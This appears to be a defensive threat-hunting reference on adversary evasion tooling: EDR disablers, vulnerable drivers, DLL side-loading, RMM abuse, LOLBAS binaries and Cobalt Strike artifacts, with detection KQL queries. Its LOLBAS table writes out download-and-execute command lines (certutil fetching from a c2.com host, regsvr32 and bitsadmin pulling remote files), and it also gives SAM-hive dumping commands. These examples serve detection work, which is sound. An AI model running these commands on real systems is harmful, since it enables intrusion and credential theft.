# Adversary Tooling and Evasion Artifacts: A Comprehensive Reference

> **Purpose:** This reference compiles high-fidelity indicators of compromise (IOCs), malicious tool names, and exploited legitimate binaries used by threat actors for defense evasion, persistence, and lateral movement.

## Table of Contents

---

## 1. Defense Evasion: Security Tool Disablers

**MITRE ATT&CK:** T1562.001 - Impair Defenses: Disable or Modify Tools

Adversaries deploy specialized tooling, often commercial-grade, to neutralize Endpoint Detection and Response (EDR) and Antivirus (AV) agents by removing user-mode hooks or kernel-mode callbacks.

| Tool Name | Observed Filenames/Artifacts | Primary Evasion Technique | Associated Threat Actor/Group |
|---|---|---|---|
| **EDRSandBlast** | `disabler.exe`, `wnbios.sys`, `WN_64.sys` | User/Kernel-mode unhooking via vulnerable driver (BYOVD) | Ransomware and Access Brokers |
| **Terminator** | Exploits `zamguard64.sys`/`zam64.sys` | Kernel-level bypass (BYOVD) for EDR disablement | BlackCat Ransomware |
| **Backstab** | Various EXEs, PowerShell scripts | Disabling EDR processes and built-in AV products | Black Basta Ransomware |
| **Repurposed Utilities** | GMER, PCHunter, PowerTool64, ProcessHacker | Rootkit removal tools leveraged to interfere with or terminate kernel monitoring | Phobos, LockBit Ransomware |
| **Snatch TTP** | `safe.exe` (or similar hash-named executable) | Execution in Windows Safe Mode to bypass EDR agents that fail to load | Snatch Ransomware |

### Detection Opportunities

- Monitor for loading of known vulnerable drivers (see BYOVD section)
- Alert on execution of legitimate security tools (GMER, PCHunter) in enterprise environments
- Detect Windows Safe Mode boots on production systems
- Monitor for sudden termination of security processes

---

## 2. Kernel Blind Spots: Bring Your Own Vulnerable Driver (BYOVD)

**MITRE ATT&CK:** T1068 - Exploitation for Privilege Escalation

BYOVD attacks exploit legitimate, digitally signed drivers to gain Ring-0 (kernel) privileges, bypassing deep security controls like kernel callbacks and LSASS protection. Detection should focus on the unauthorized loading of these drivers.

| Driver Filename | Original Use/Source | Malicious Alias / Context | Primary Impact |
|---|---|---|---|
| `mhyprot2.sys` | Genshin Impact Anti-Cheat | Abused to distribute Sliver toolkit | Ring-0 access (Kernel compromise) |
| `PROCEXP152.sys` | Windows Process Explorer | Renamed as `Иисус.sys` in malvertising campaigns | Ring-0 access (Kernel compromise) |
| `zamguard64.sys` | Zapret/Zemana Anti-Malware | Exploited by spyboy Terminator tool | EDR kernel-level bypass |
| `AsIO3.sys`, `AsrDrv.sys`, `AsUpIO.sys` | ASUS/Hardware Utility Drivers | Exploited for Ring-0 privilege escalation | Privilege Escalation |
| `gdrv.sys`, `iQVW64.sys` | GIGABYTE Utilities | Exploited for arbitrary kernel read/write | Ring-0 capabilities |
| `amifldrv64.sys`, `amifldrv.sys` | AMI Firmware Drivers | General BYOVD exploitation | Ring-0 capabilities |
| `RTCore64.sys` | MSI Afterburner | Privilege escalation | Ring-0 capabilities |
| `DBUtil_2_3.sys` | Dell BIOS Utility | Arbitrary kernel memory operations | Ring-0 capabilities |

### Detection Opportunities

- Implement driver allowlisting/blocklisting
- Monitor for driver loads from non-standard paths
- Alert on legacy/outdated driver versions
- Track certificate anomalies (expired, revoked, or unusual signing dates)
- Monitor for drivers loaded shortly before security process termination

---

## 3. Masquerading and Execution: DLL Hijacking

**MITRE ATT&CK:** T1574 - Hijack Execution Flow

DLL side-loading is a primary technique where malicious DLLs are executed within the context of a legitimate, often signed, process (the "Veneer of Legitimacy").

### Commonly Abused Legitimate Executables

| Abused Legitimate EXE | Target Malicious DLL (Payload) | Context / Associated Group | Critical Artifact/IOC for Detection |
|---|---|---|---|
| `MsMpEng.exe` (Windows Defender) | `mpsvc.dll` | REvil Ransomware, Clambling | MsMpEng.exe running from a non-standard path (outside of Program Files) |
| `vlc.exe` (often renamed) | `libvlc.dll` (Cobalt Strike Beacon) | Ransomware intrusions (e.g., Hive Spider) | Execution from user folders (e.g., `C:\Users\<username>\Documents`) |
| `w3wp.exe` (IIS Worker Process) | Various malicious DLL files | Used on IIS servers (Telerik vulnerability) | Execution or file activity originating from `C:\Windows\Temp\` |
| `policytool.exe` | Custom Malicious DLL | Ecipekac malware loader | Presence of policytool.exe adjacent to an unknown DLL |
| **Other Abused Binaries** | Varies | WastedLocker, Earth Lusca, Mustang Panda, Velvet Ant | Monitor for signed executables adjacent to recently dropped DLLs |

### Detection Opportunities

- Monitor for legitimate executables running from unusual paths
- Alert on DLL loads from writable directories (Temp, Downloads, User profiles)
- Track file creation timestamps (executable + DLL created simultaneously)
- Implement application whitelisting with path verification
- Monitor for executables loading unexpected DLLs

---

## 4. Covert Remote Access: RMM Tools

**MITRE ATT&CK:** T1219 - Remote Access Software

Remote Monitoring and Management (RMM) tools are leveraged as initial access vectors and for persistent, whitelisted command and control (C2).

| RMM Tool Name | Malicious Use Case / TTP | Key Forensic Artifact/Indicator |
|---|---|---|
| **NetSupport Manager** | Lateral movement, persistence, initial access | `client32.exe` running from non-standard directories (e.g., Downloads, Roaming) or making suspicious connections |
| **ScreenConnect (ConnectWise)** | Unattended access, persistence, execution of discovery commands | `ScreenConnect.WindowsClient.exe` registering as a service; analysis of `user.config`/`system.config` for C2 mappings |
| **Atera** | Persistence and initial access vector (used by Initial Access Brokers) | Unauthorized client installation or persistence artifacts |
| **Remcos (RuRAT)** | Persistent remote access; often obfuscated/injected | Artifacts containing "remcos" in file paths, filenames, or registry keys |
| **SimpleHelp** | Unauthorized file upload/download and privilege escalation | Exploitation of known vulnerabilities for initial access |
| **AnyDesk** | Persistent remote access, data exfiltration | Unattended installations, connections to unusual external IPs |
| **TeamViewer** | Lateral movement, persistent access | Unattended access enabled, unauthorized installations |

### Detection Opportunities

- Maintain inventory of authorized RMM tools
- Monitor for unexpected RMM tool installations
- Alert on RMM traffic to unusual destinations
- Track service installations of RMM agents
- Monitor configuration files for unauthorized modifications

---

## 5. Living Off The Land Binaries (LOLBAS)

**MITRE ATT&CK:** T1059 - Command and Scripting Interpreter, T1105 - Ingress Tool Transfer, T1218 - System Binary Proxy Execution

Built-in Windows utilities are weaponized for stealthy file transfer, code execution, and evasion. Detection must focus on suspicious command-line flags and process lineage (LOLBAS Command Chaining).

| LOLBAS Binary | Primary Malicious Function | High-Fidelity Command Line Flag/Example | Detection Indicator |
|---|---|---|---|
| certutil.exe | Download/Ingress Tool Transfer, Encoding/Decoding | -urlcache -f https://c2.com/file.exe file.exe | Non-standard file creation, use of -urlcache, CryptoAPI/CertUtil User-Agent |
| mshta.exe | Remote Code Execution (HTA, JScript, VBScript) | javascript:GetObject("script:URL") to retrieve remote script | Mshta.exe initiating network connection or executing raw script content |
| rundll32.exe | DLL/COM Execution, Remote/ADS Loading | rundll32.exe C:\Temp\mal.dll,EntryPoint or use of -sta {CLSID} | Outbound network connection from rundll32.exe or suspicious flag use |
| powershell.exe | Script Execution, C2, Fileless operations | Highly obfuscated or base64 encoded command arguments | Suspicious script block logging, non-native child process creation |
| regsvr32.exe | COM scriptlet execution | regsvr32.exe /s /u /i:http://url scrobj.dll | Network connections from regsvr32.exe |
| bitsadmin.exe | File download | bitsadmin /transfer job /download /priority high http://url file.exe | BITS job creation with external URLs |
| wmic.exe | Remote code execution, lateral movement | wmic process call create "cmd.exe" | Suspicious process creation via WMI |

### Detection Opportunities

- Monitor command-line arguments for known malicious patterns
- Alert on network connections from typically local-only binaries
- Track parent-child process relationships for anomalies
- Enable PowerShell Script Block Logging and monitor for obfuscation
- Detect file downloads to suspicious paths

---

## 6. Post-Exploitation Frameworks and Artifacts

**Purpose:** Identify common post-exploitation tools and their telltale artifacts used during intrusions.

| Tool/Framework | TTP/Artifact Type | Key Forensic Artifact/Indicator | MITRE Technique |
|---|---|---|---|
| **Cobalt Strike Beacon** | Process Injection/Hollowing | Injection into memory space of legitimate processes like `svchost.exe`, `vbc.exe` | T1055.012 (Process Hollowing) |
| **Cobalt Strike Beacon** | Inter-Process Communication (C2) | Named Pipe creation/connection (e.g., `\\.\pipe\MSSE-*`, `\\.\pipe\postex_*`) | T1071 (Application Layer Protocol) |
| **Mimikatz** | Credential Dumping (LSASS) | `procdump.exe` or PowerShell executing attempt to read or dump `lsass.exe` process memory | T1003.001 (LSASS Memory) |
| **System Utilities** | Registry Hive Dumping | Command execution: `reg save HKLM\SAM sam_hive` or `vssadmin` to access locked files | T1003.002 (Security Account Manager) |
| **Lateral Movement** | Remote Execution/Discovery | Execution of built-in commands: `nltest /domain_trusts`, `net group "domain admins" /domain`, `PsExec` | T1087 (Account Discovery), T1021 (Remote Services) |
| **Metasploit Framework** | Various post-exploitation modules | Meterpreter payloads, reflective DLL injection, characteristic network traffic | Multiple techniques |
| **Sliver** | C2 Framework | HTTP/HTTPS beaconing with custom user agents, named pipes, DNS beaconing | T1071 |
| **Brute Ratel** | C2 Framework | Badger implants, process injection, custom encryption | Multiple techniques |

### Common Cobalt Strike Artifacts

- **Default Named Pipes:** `\\.\pipe\MSSE-*-server`, `\\.\pipe\postex_*`, `\\.\pipe\status_*`
- **Common Process Injection Targets:** `rundll32.exe`, `dllhost.exe`, `gpupdate.exe`
- **Network Indicators:** Malleable C2 profiles may mimic legitimate traffic (jQuery, Amazon, etc.)
- **Memory Strings:** "ReflectiveLoader", "beacon.dll", characteristic XOR keys

---

## Detection Recommendations

### General Best Practices

1. **Defense in Depth**
   - Implement multiple layers of detection (endpoint, network, cloud)
   - Use both signature-based and behavior-based detection
   - Deploy EDR solutions with kernel-level visibility
2. **Logging and Monitoring**

- Enable Sysmon with comprehensive configuration
- Enable PowerShell Script Block Logging and Module Logging
- Collect and analyze command-line arguments
- Monitor driver loads and kernel events
- Track file creation events, especially for executables and DLLs

3. **Threat Hunting**
   - Regularly hunt for BYOVD indicators
   - Search for legitimate tools in unusual locations
   - Investigate unexpected RMM tool installations
   - Look for LOLBAS command chaining patterns
   - Monitor for credential access attempts
4. **Network Security**
   - Implement SSL/TLS inspection where appropriate
   - Monitor for C2 beacon patterns
   - Block known malicious IPs and domains
   - Detect anomalous outbound connections from system binaries
5. **Access Controls**
   - Implement least privilege principles
   - Use application whitelisting (e.g., AppLocker, WDAC)
   - Restrict PowerShell execution where possible
   - Limit access to powerful utilities (certutil, wmic, etc.)

## Specific Detection Queries

### Hunt for DLL Hijacking

```
kql

// Example: Hunt for DLL loads from suspicious paths
DeviceFileEvents
| where FileName endswith ".dll"
| where FolderPath has_any ("\\Downloads\\", "\\Temp\\", "\\AppData\\Local\\Temp\\")
| where InitiatingProcessFileName in~ ("MsMpEng.exe", "vlc.exe", "w3wp.exe")
```

### Hunt for BYOVD

```kql
// Example: Detect vulnerable driver loads
DeviceEvents
| where ActionType == "DriverLoad"
| where FileName in~ ("mhyprot2.sys", "zamguard64.sys", "gdrv.sys", "RTCore64.sys")
```

### Hunt for LOLBAS Abuse

```kql
// Example: Detect certutil downloading files
DeviceProcessEvents
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("urlcache", "-f", "http")
```

---

## Contributing

This is a living document. Contributions are welcome via pull requests. When adding new entries:

1. Provide accurate tool names and filenames
2. Include MITRE ATT&CK technique mappings
3. Add specific detection opportunities
4. Cite sources where possible
5. Follow the existing table format

### Useful Resources

- MITRE ATT&CK Framework
- LOLBAS Project
- LOLDrivers Project
- Threat Hunter Playbook
- Sigma Rules Repository

---

## License

**Last Updated:** October 2025